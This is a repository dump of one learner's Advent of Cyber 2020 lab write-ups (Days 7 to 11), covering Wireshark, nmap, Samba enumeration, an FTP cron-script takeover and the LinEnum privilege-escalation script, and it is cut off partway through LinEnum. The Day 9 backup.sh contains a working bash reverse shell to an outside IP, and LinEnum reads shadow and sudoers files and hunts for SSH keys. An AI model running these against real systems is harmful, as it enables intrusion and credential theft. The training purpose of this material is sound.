      &nbsp;&ndash;&nbsp;
      <em class="fas fa-moon" id="dark-mode-toggle"></em>
    </p>

    <p class="credits theme-by">
      Powered By <a href="https://gohugo.io">Hugo</a>&nbsp;
      Theme
      <a href="https://github.com/matsuyoshi30/harbor">Harbor</a>
    </p>
  </div>
</footer>

  </body>
</html>


================================================
FILE: Advent-of-Cyber-2020/Day-07-The_Grinch_Really_Did_Steal_Christmas/README.md
================================================
# The Grinch Really Did Steal Christmas

Download the ZIP file "aocpcaps.zip" that is attached to this task, use a combination of the filters and features of Wireshark we've covered to answer the questions below:

- Open "pcap1.pcap" in Wireshark. What is the IP address that initiates an ICMP/ping?

	- `10.11.3.2`

- If we only wanted to see HTTP GET requests in our "pcap1.pcap" file, what filter would we use?

	- `http.request.method == get`

- Now apply this filter to "pcap1.pcap" in Wireshark, what is the name of the article that the IP address "10.10.67.199" visited?

	- `reindeer-of-the-week`

- Let's begin analysing "pcap2.pcap". Look at the captured FTP traffic; what password was leaked during the login process?
There's a lot of irrelevant data here - Using a filter here would be useful!

	- `*********_********_******`

- Continuing with our analysis of "pcap2.pcap", what is the name of the protocol that is encrypted?

	- `ssh`

- Analyse "pcap3.pcap" and recover Christmas!
What is on Elf McSkidy's wishlist that will be used to replace Elf McEager?

	- `Rubber ducky`

## see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-07-The_Grinch_Really_Did_Steal_Christmas/elf_mcskidy_wishlist.txt
================================================
Wish list for Elf McSkidy
-------------------------
Budget: £100

x3 Hak 5 Pineapples
x1 Rubber ducky (to replace Elf McEager)


================================================
FILE: Advent-of-Cyber-2020/Day-08-What's_Under_the_Christmas_Tree?/README.md
================================================
# What's unders the Christmas Tree?


- When was Snort created?

	- A Google search is enough (as always...).
	- `1998`

- Using Nmap on <TARGET_IP>, what are the port numbers of the three services running?  (Please provide your answer in ascending order/lowest -> highest, separated by a comma)

	- `nmap <TARGET_IP>`
	- `80,2222,3389`

- Run a scan and provide the -Pn flag to ignore ICMP being used to determine if the host is up

	  no answer needed
	
	- `nmap -Pn <TARGET_IP>`

- Experiment with different scan settings such as -A and -sV whilst comparing the outputs given.

	  no answer needed

	- `nmap -A <TARGET_IP>`
	- `nmap -sV <TARGET_IP>`

- Use Nmap to determine the name of the Linux distribution that is running, what is reported as the most likely distribution to be running?

	- `nmap -Pn -sV <TARGET_IP>`
	- `Ubuntu`

- Use Nmap's Network Scripting Engine (NSE) to retrieve the "HTTP-TITLE" of the webserver. Based on the value returned, what do we think this website might be used for?

	- `nmap --script=http-title <TARGET_IP>`
	- `blog`

- Now use different scripts against the remaining services to discover any further information about them

	  no answer needed

	- `nmap --script=vuln <TARGET_IP>`
	- `nmap --script=ssh-auth-methods -p 2222 <TARGET_IP>`





================================================
FILE: Advent-of-Cyber-2020/Day-09-Anyone_can_be_Santa!/README.md
================================================
# Anyone can be Santa!

Before we begin, we're going to need to deploy two Instances:

	1. The THM AttackBox by pressing the "Start AttackBox" button at the top-right of the page.
	2. The vulnerable Instance attached to this task by pressing the "Deploy" button at the top-right of this task/day.

- Name the directory on the FTP server that has data accessible by the "anonymous" user

	- `ftp <TARGET_IP>` and enter `anonymous` 
	- `public`

- What script gets executed within this directory?

	- `backup.sh`

- What movie did Santa have on his Christmas shopping list?

	- (ftp) `get shoppinglist.txt`
	- `The polar express`

- Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!
Note that the script that we have uploaded may take a minute to return a connection. If it doesn't after a couple of minutes, double-check that you have setup a Netcat listener on the device that you are working from, and have provided the TryHackMe IP of the device that you are connecting from.

	- Insert your IP address in `backup.sh` where is the lable.
	- (ftp) `put backup.sh`
	- On your machine `nc -lvnp 4444`
	- You should get a root shell in a minute.
	- `cat /root/flag.txt`
	- `THM{****_***_***_**_*****}`







================================================
FILE: Advent-of-Cyber-2020/Day-09-Anyone_can_be_Santa!/backup.sh
================================================
bash -i >& /dev/tcp/10.9.126.198/4444 0>&1


================================================
FILE: Advent-of-Cyber-2020/Day-09-Anyone_can_be_Santa!/old_backup.sh
================================================
#!/bin/bash

# Created by ElfMcEager to backup all of Santa's goodies!

# Create backups to include date DD/MM/YYYY
filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";

# Backup FTP folder and store in elfmceager's home directory
tar -zcvf /home/elfmceager/$filename /opt/ftp

# TO-DO: Automate transfer of backups to backup server




================================================
FILE: Advent-of-Cyber-2020/Day-09-Anyone_can_be_Santa!/shoppinglist.txt
================================================
The Polar Express Movie


================================================
FILE: Advent-of-Cyber-2020/Day-10-Dont-be-sElfish/README.md
================================================
# Don't be sElfish!

Before we begin, we're going to need to deploy two Instances:

	1. The THM AttackBox by pressing the " Start AttackBox" button at the top-right of the page.
	2. The vulnerable Instance attached to this task by pressing the "Deploy" button at the top-right of this task/day.

- Using enum4linux, how many users are there on the Samba server?

	- `enum4linux -a <TARGET_IP>`
	- `3`

- Now how many "shares" are there on the Samba server?

	- `4`

- Use smbclient to try to login to the shares on the Samba server (10.10.151.244). What share doesn't require a password?

	- `smbclient //<TARGET_IP>/<SHARE>`
	- `tbfc-santa`

- Log in to this share, what directory did ElfMcSkidy leave for Santa?

	- `jingle-tunes`



### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-10-Dont-be-sElfish/note_from_mcskidy.txt
================================================
Hi Santa, I decided to put all of your favourite jingles onto this share - allowing you access it from anywhere you like! Regards ~ ElfMcSkidy


================================================
FILE: Advent-of-Cyber-2020/Day-11-The_Rogue_Gnome/LinEnum.sh
================================================
#!/bin/bash
#A script to enumerate local information from a Linux host
version="version 0.982"
#@rebootuser

#help function
usage () 
{ 
echo -e "\n\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m"
echo -e "\e[00;31m#########################################################\e[00m"
echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m"
echo -e "\e[00;33m# $version\e[00m\n"
echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n"

		echo "OPTIONS:"
		echo "-k	Enter keyword"
		echo "-e	Enter export location"
		echo "-s 	Supply user password for sudo checks (INSECURE)"
		echo "-t	Include thorough (lengthy) tests"
		echo "-r	Enter report name" 
		echo "-h	Displays this help text"
		echo -e "\n"
		echo "Running with no options = limited scans/no output file"
		
echo -e "\e[00;31m#########################################################\e[00m"		
}
header()
{
echo -e "\n\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 
echo -e "\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;33m# www.rebootuser.com\e[00m" 
echo -e "\e[00;33m# $version\e[00m\n" 

}

debug_info()
{
echo "[-] Debug Info" 

if [ "$keyword" ]; then 
	echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" 
fi

if [ "$report" ]; then 
	echo "[+] Report name = $report" 
fi

if [ "$export" ]; then 
	echo "[+] Export location = $export" 
fi

if [ "$thorough" ]; then 
	echo "[+] Thorough tests = Enabled" 
else 
	echo -e "\e[00;33m[+] Thorough tests = Disabled\e[00m" 
fi

sleep 2

if [ "$export" ]; then
  mkdir $export 2>/dev/null
  format=$export/LinEnum-export-`date +"%d-%m-%y"`
  mkdir $format 2>/dev/null
fi

if [ "$sudopass" ]; then 
  echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m"
  read -s userpassword
  echo 
fi

who=`whoami` 2>/dev/null 
echo -e "\n" 

echo -e "\e[00;33mScan started at:"; date 
echo -e "\e[00m\n" 
}

# useful binaries (thanks to https://gtfobins.github.io/)
binarylist='aria2c\|arp\|ash\|awk\|base64\|bash\|busybox\|cat\|chmod\|chown\|cp\|csh\|curl\|cut\|dash\|date\|dd\|diff\|dmsetup\|docker\|ed\|emacs\|env\|expand\|expect\|file\|find\|flock\|fmt\|fold\|ftp\|gawk\|gdb\|gimp\|git\|grep\|head\|ht\|iftop\|ionice\|ip$\|irb\|jjs\|jq\|jrunscript\|ksh\|ld.so\|ldconfig\|less\|logsave\|lua\|make\|man\|mawk\|more\|mv\|mysql\|nano\|nawk\|nc\|netcat\|nice\|nl\|nmap\|node\|od\|openssl\|perl\|pg\|php\|pic\|pico\|python\|readelf\|rlwrap\|rpm\|rpmquery\|rsync\|ruby\|run-parts\|rvim\|scp\|script\|sed\|setarch\|sftp\|sh\|shuf\|socat\|sort\|sqlite3\|ssh$\|start-stop-daemon\|stdbuf\|strace\|systemctl\|tail\|tar\|taskset\|tclsh\|tee\|telnet\|tftp\|time\|timeout\|ul\|unexpand\|uniq\|unshare\|vi\|vim\|watch\|wget\|wish\|xargs\|xxd\|zip\|zsh'

system_info()
{
echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" 

#basic kernel info
unameinfo=`uname -a 2>/dev/null`
if [ "$unameinfo" ]; then
  echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" 
  echo -e "\n" 
fi

procver=`cat /proc/version 2>/dev/null`
if [ "$procver" ]; then
  echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" 
  echo -e "\n" 
fi

#search all *-release files for version info
release=`cat /etc/*-release 2>/dev/null`
if [ "$release" ]; then
  echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" 
  echo -e "\n" 
fi

#target hostname info
hostnamed=`hostname 2>/dev/null`
if [ "$hostnamed" ]; then
  echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" 
  echo -e "\n" 
fi
}

user_info()
{
echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" 

#current user details
currusr=`id 2>/dev/null`
if [ "$currusr" ]; then
  echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" 
  echo -e "\n"
fi

#last logged on user information
lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null`
if [ "$lastlogedonusrs" ]; then
  echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" 
  echo -e "\n" 
fi

#who else is logged on
loggedonusrs=`w 2>/dev/null`
if [ "$loggedonusrs" ]; then
  echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" 
  echo -e "\n"
fi

#lists all id's and respective group(s)
grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null`
if [ "$grpinfo" ]; then
  echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo"
  echo -e "\n"
fi

#added by phackt - look for adm group (thanks patrick)
adm_users=$(echo -e "$grpinfo" | grep "(adm)")
if [[ ! -z $adm_users ]];
  then
    echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users"
    echo -e "\n"
fi

#checks to see if any hashes are stored in /etc/passwd (depreciated  *nix storage method)
hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null`
if [ "$hashesinpasswd" ]; then
  echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" 
  echo -e "\n"
fi

#contents of /etc/passwd
readpasswd=`cat /etc/passwd 2>/dev/null`
if [ "$readpasswd" ]; then
  echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readpasswd" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/passwd $format/etc-export/passwd 2>/dev/null
fi

#checks to see if the shadow file can be read
readshadow=`cat /etc/shadow 2>/dev/null`
if [ "$readshadow" ]; then
  echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readshadow" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/shadow $format/etc-export/shadow 2>/dev/null
fi

#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant
readmasterpasswd=`cat /etc/master.passwd 2>/dev/null`
if [ "$readmasterpasswd" ]; then
  echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readmasterpasswd" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null
fi

#all root accounts (uid 0)
superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null`
if [ "$superman" ]; then
  echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman"
  echo -e "\n"
fi

#pull out vital sudoers info
sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null`
if [ "$sudoers" ]; then
  echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers"
  echo -e "\n"
fi

if [ "$export" ] && [ "$sudoers" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
fi

#can we sudo without supplying a password
sudoperms=`echo '' | sudo -S -l -k 2>/dev/null`
if [ "$sudoperms" ]; then
  echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" 
  echo -e "\n"
fi

#check sudo perms - authenticated
if [ "$sudopass" ]; then
    if [ "$sudoperms" ]; then
      :
    else
      sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null`
      if [ "$sudoauth" ]; then
        echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" 
        echo -e "\n"
      fi
    fi
fi

##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated
if [ "$sudopass" ]; then
    if [ "$sudoperms" ]; then
      :
    else
      sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
      if [ "$sudopermscheck" ]; then
        echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" 
        echo -e "\n"
      fi
    fi
fi

#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values)
sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$sudopwnage" ]; then
  echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" 
  echo -e "\n"
fi

#who has sudoed in the past
whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null`
if [ "$whohasbeensudo" ]; then
  echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" 
  echo -e "\n"
fi

#checks to see if roots home directory is accessible
rthmdir=`ls -ahl /root/ 2>/dev/null`
if [ "$rthmdir" ]; then
  echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" 
  echo -e "\n"
fi

#displays /home directory permissions - check if any are lax
homedirperms=`ls -ahl /home/ 2>/dev/null`
if [ "$homedirperms" ]; then
  echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" 
  echo -e "\n"
fi

#looks for files we can write to that don't belong to us
if [ "$thorough" = "1" ]; then
  grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$grfilesall" ]; then
    echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" 
    echo -e "\n"
  fi
fi

#looks for files that belong to us
if [ "$thorough" = "1" ]; then
  ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$ourfilesall" ]; then
    echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall"
    echo -e "\n"
  fi
fi

#looks for hidden files
if [ "$thorough" = "1" ]; then
  hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$hiddenfiles" ]; then
    echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles"
    echo -e "\n"
  fi
fi

#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch
if [ "$thorough" = "1" ]; then
wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null`
	if [ "$wrfileshm" ]; then
		echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" 
		echo -e "\n"
	fi
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$wrfileshm" ]; then
		mkdir $format/wr-files/ 2>/dev/null
		for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null
	fi
fi

#lists current user's home directory contents
if [ "$thorough" = "1" ]; then
homedircontents=`ls -ahl ~ 2>/dev/null`
	if [ "$homedircontents" ] ; then
		echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" 
		echo -e "\n" 
	fi
fi

#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch
if [ "$thorough" = "1" ]; then
sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;`
	if [ "$sshfiles" ]; then
		echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" 
		echo -e "\n"
	fi
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$sshfiles" ]; then
		mkdir $format/ssh-files/ 2>/dev/null
		for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null
	fi
fi

#is root permitted to login via ssh
sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print  $2}'`
if [ "$sshrootlogin" = "yes" ]; then
  echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" 
  echo -e "\n"
fi
}

environmental_info()
{
echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" 

#env information
envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null`
if [ "$envinfo" ]; then
  echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" 
  echo -e "\n"
fi

#check if selinux is enabled
sestatus=`sestatus 2>/dev/null`
if [ "$sestatus" ]; then
  echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus"
  echo -e "\n"
fi

#phackt

#current path configuration
pathinfo=`echo $PATH 2>/dev/null`
if [ "$pathinfo" ]; then
  pathswriteable=`ls -ld $(echo $PATH | tr ":" " ")`
  echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 
  echo -e "$pathswriteable"
  echo -e "\n"
fi

#lists available shells
shellinfo=`cat /etc/shells 2>/dev/null`
if [ "$shellinfo" ]; then
  echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" 
  echo -e "\n"
fi

#current umask value with both octal and symbolic output
umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null`
if [ "$umaskvalue" ]; then
  echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" 
  echo -e "\n"
fi

#umask value as in /etc/login.defs
umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null`
if [ "$umaskdef" ]; then
  echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" 
  echo -e "\n"
fi

#password policy information as stored in /etc/login.defs
logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null`
if [ "$logindefs" ]; then
  echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$logindefs" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null
fi
}

job_info()
{
echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" 

#are there any cron jobs configured
cronjobs=`ls -la /etc/cron* 2>/dev/null`
if [ "$cronjobs" ]; then
  echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" 
  echo -e "\n"
fi

#can we manipulate these jobs in any way
cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$cronjobwwperms" ]; then
  echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" 
  echo -e "\n"
fi

#contab contents
crontabvalue=`cat /etc/crontab 2>/dev/null`
if [ "$crontabvalue" ]; then
  echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" 
  echo -e "\n"
fi

crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null`
if [ "$crontabvar" ]; then
  echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" 
  echo -e "\n"
fi

anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null`
if [ "$anacronjobs" ]; then
  echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" 
  echo -e "\n"
fi

anacrontab=`ls -la /var/spool/anacron 2>/dev/null`
if [ "$anacrontab" ]; then
  echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" 
  echo -e "\n"
fi

#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command)
cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null`
if [ "$cronother" ]; then
  echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" 
  echo -e "\n"
fi

# list systemd timers
if [ "$thorough" = "1" ]; then
  # include inactive timers in thorough mode
  systemdtimers="$(systemctl list-timers --all 2>/dev/null)"
  info=""
else
  systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)"
  # replace the info in the output with a hint towards thorough mode
  info="\e[2mEnable thorough tests to see inactive timers\e[00m"
fi
if [ "$systemdtimers" ]; then
  echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info"
  echo -e "\n"
fi

}

networking_info()
{
echo -e "\e[00;33m### NETWORKING  ##########################################\e[00m" 

#nic information
nicinfo=`/sbin/ifconfig -a 2>/dev/null`
if [ "$nicinfo" ]; then
  echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" 
  echo -e "\n"
fi

#nic information (using ip)
nicinfoip=`/sbin/ip a 2>/dev/null`
if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then
  echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" 
  echo -e "\n"
fi

arpinfo=`arp -a 2>/dev/null`
if [ "$arpinfo" ]; then
  echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" 
  echo -e "\n"
fi

arpinfoip=`ip n 2>/dev/null`
if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then
  echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" 
  echo -e "\n"
fi

#dns settings
nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null`
if [ "$nsinfo" ]; then
  echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" 
  echo -e "\n"
fi

nsinfosysd=`systemd-resolve --status 2>/dev/null`
if [ "$nsinfosysd" ]; then
  echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" 
  echo -e "\n"
fi

#default route configuration
defroute=`route 2>/dev/null | grep default`
if [ "$defroute" ]; then
  echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" 
  echo -e "\n"
fi

#default route configuration
defrouteip=`ip r 2>/dev/null | grep default`
if [ ! "$defroute" ] && [ "$defrouteip" ]; then
  echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" 
  echo -e "\n"
fi

#listening TCP
tcpservs=`netstat -ntpl 2>/dev/null`
if [ "$tcpservs" ]; then
  echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" 
  echo -e "\n"
fi

tcpservsip=`ss -t -l -n 2>/dev/null`
if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then
  echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" 
  echo -e "\n"
fi

#listening UDP
udpservs=`netstat -nupl 2>/dev/null`
if [ "$udpservs" ]; then
  echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" 
  echo -e "\n"
fi

udpservsip=`ss -u -l -n 2>/dev/null`
if [ ! "$udpservs" ] && [ "$udpservsip" ]; then
  echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" 
  echo -e "\n"
fi
}

services_info()
{
echo -e "\e[00;33m### SERVICES #############################################\e[00m" 

#running processes
psaux=`ps aux 2>/dev/null`
if [ "$psaux" ]; then
  echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" 
  echo -e "\n"
fi

#lookup process binary path and permissisons
procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null`
if [ "$procperm" ]; then
  echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$procperm" ]; then
procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null`
  mkdir $format/ps-export/ 2>/dev/null
  for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null
fi

#anything 'useful' in inetd.conf
inetdread=`cat /etc/inetd.conf 2>/dev/null`
if [ "$inetdread" ]; then
  echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$inetdread" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null
fi

#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each
inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$inetdbinperms" ]; then
  echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" 
  echo -e "\n"
fi

xinetdread=`cat /etc/xinetd.conf 2>/dev/null`
if [ "$xinetdread" ]; then
  echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$xinetdread" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null
fi

xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null`
if [ "$xinetdincd" ]; then
  echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null 
  echo -e "\n"
fi

#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each
xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$xinetdbinperms" ]; then
  echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" 
  echo -e "\n"
fi

initdread=`ls -la /etc/init.d 2>/dev/null`
if [ "$initdread" ]; then
  echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" 
  echo -e "\n"
fi

#init.d files NOT belonging to root!
initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$initdperms" ]; then
  echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" 
  echo -e "\n"
fi

rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null`
if [ "$rcdread" ]; then
  echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" 
  echo -e "\n"
fi

#init.d files NOT belonging to root!
rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$rcdperms" ]; then
  echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" 
  echo -e "\n"
fi

usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null`
if [ "$usrrcdread" ]; then
  echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" 
  echo -e "\n"
fi

#rc.d files NOT belonging to root!
usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$usrrcdperms" ]; then
  echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" 
  echo -e "\n"
fi

initread=`ls -la /etc/init/ 2>/dev/null`
if [ "$initread" ]; then
  echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread"
  echo -e "\n"
fi

# upstart scripts not belonging to root
initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$initperms" ]; then
   echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms"
   echo -e "\n"
fi

systemdread=`ls -lthR /lib/systemd/ 2>/dev/null`
